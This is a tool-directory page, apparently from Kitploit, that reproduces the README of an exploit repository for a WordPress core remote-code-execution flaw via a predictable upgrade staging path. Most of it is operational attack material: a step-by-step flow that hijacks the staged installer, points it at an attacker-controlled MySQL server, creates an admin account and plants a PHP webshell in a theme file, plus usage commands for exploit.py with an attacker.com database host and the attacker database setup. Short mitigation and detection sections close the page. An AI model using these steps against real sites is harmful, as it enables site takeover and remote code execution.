Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-119977 — WordPress Core RCE via Predictable Staging Path (CVSS 8.1) | Kitploit
Strumenti/GitHubGitHub/blackhatexploitation/cve-2026-119977
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access ToolPayload Development
GitHubblackhatexploitation/cve-2026-119977

CVE-2026-119977

WordPress Core RCE via Predictable Staging Path (CVSS 8.1)

Vedi Repository
12 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    907
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    731
  • 3

    wifit3

    derv82/wifit3

    Wifite ma solo USB e multipiattaforma.

    504
  • 4

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    449
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer è una piattaforma open-source di gestione degli accessi privilegiati (PAM) che fornisce ai team DevOps e IT un accesso sicuro e on-demand a endpoint SSH, RDP, Kubernetes, database e RemoteApp tramite un browser web.

    415
  • 6

    SafeLine

    chaitin/safeline

    WAF self-hosted e reverse proxy che filtra il traffico HTTP malevolo, blocca SQL injection, XSS e attacchi bot, con limitazione del tasso e crittografia dinamica HTML/JS.

    365

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Contenuto non disponibile nella lingua richiesta. Visualizzazione della versione inglese.

CVE-2026-119977 - WordPress Core RCE

Unauthenticated Remote Code Execution via Predictable Staging Path

Vulnerability Details

FieldValue
CVECVE-2026-119977
CVSS8.1 High
CWECWE-425 (Direct Request), CWE-377 (Insecure Temp File)
AffectedWordPress 4.7.0 - 7.1.3
Fixed7.1.4, 6.9.11, 6.8.12 (backports)
CISA KEVAdded Nov 3, 2026
VendorWordfence (CNA)

Root Cause

During WordPress core updates, WP_Upgrader::unpack_package() in class-wp-upgrader.php extracts the update package to a predictable, web-accessible path:

wp-content/upgrade/wordpress-<version>/wordpress/

The staged copy is a complete WordPress installation without wp-config.php. This means:

  • wp-admin/setup-config.php runs without authentication
  • wp-admin/install.php is accessible
  • Attacker can point installer to malicious database

Exploitation Flow

1. Detect WordPress version (generator meta tag, feed, readme.html)
   └── Version determines predictable staging path

2. Wait for or trigger upgrade window
   └── Staging directory exists during update process

3. Access staged installer
   └── wp-content/upgrade/wordpress-<version>/wordpress/wp-admin/setup-config.php

4. Point installer to attacker-controlled MySQL
   └── Attacker prepares DB with admin credentials they control

5. Complete installation via staged copy
   └── Creates admin account with attacker's credentials

6. Use Theme File Editor for RCE
   └── Edit 404.php or other theme file to inject PHP webshell

7. Execute commands
   └── /wp-content/themes/<theme>/404.php?c=whoami

The Fix (7.1.4)

WordPress 7.1.4 appends a random 16-character suffix to staging directory:

$working_dir = $upgrade_folder . wp_generate_password(16, false);

This makes the path unpredictable (62^16 keyspace).

Usage

pip install requests

# Scan for vulnerability
python3 exploit.py http://target.com --scan

# Monitor for upgrade window (5 minutes)
python3 exploit.py http://target.com --monitor --duration 300

# Full exploit (requires attacker MySQL server)
python3 exploit.py http://target.com --exploit \
    --db-host attacker.com \
    --db-user root \
    --db-pass password \
    --db-name wpexploit

# Exploit with monitoring
python3 exploit.py http://target.com --exploit --monitor \
    --db-host attacker.com \
    --db-user root \
    --db-pass password

Attacker MySQL Setup

The exploit requires an attacker-controlled MySQL server reachable from the target:

# On attacker machine
mysql -u root -p

CREATE DATABASE wpexploit;
CREATE USER 'wpexploit'@'%' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON wpexploit.* TO 'wpexploit'@'%';
FLUSH PRIVILEGES;

# Ensure MySQL allows remote connections
# Edit my.cnf: bind-address = 0.0.0.0

Mitigations

Block access to upgrade directory (immediate)

Apache (.htaccess in wp-content/upgrade/):

<Files *>
    Require all denied
</Files>

Nginx:

location /wp-content/upgrade/ {
    deny all;
}

Update WordPress (permanent fix)

wp core update --version=7.1.4

Detection

Check version

curl -s http://target.com/ | grep -oP 'WordPress [0-9.]+'
curl -s http://target.com/feed/ | grep -oP 'v=[0-9.]+'

Check for active upgrade

curl -s http://target.com/wp-content/upgrade/
curl -s "http://target.com/wp-content/upgrade/wordpress-7.1.3/wordpress/wp-admin/setup-config.php"

References

  • Wordfence Advisory
  • WordPress Trac
  • CISA KEV

Timeline

DateEvent
Oct 28, 2026First exploitation attempts detected
Nov 3, 2026Added to CISA KEV
Nov 4, 2026Public PoC released
Nov 6, 2026Federal remediation deadline
Scarica lo strumento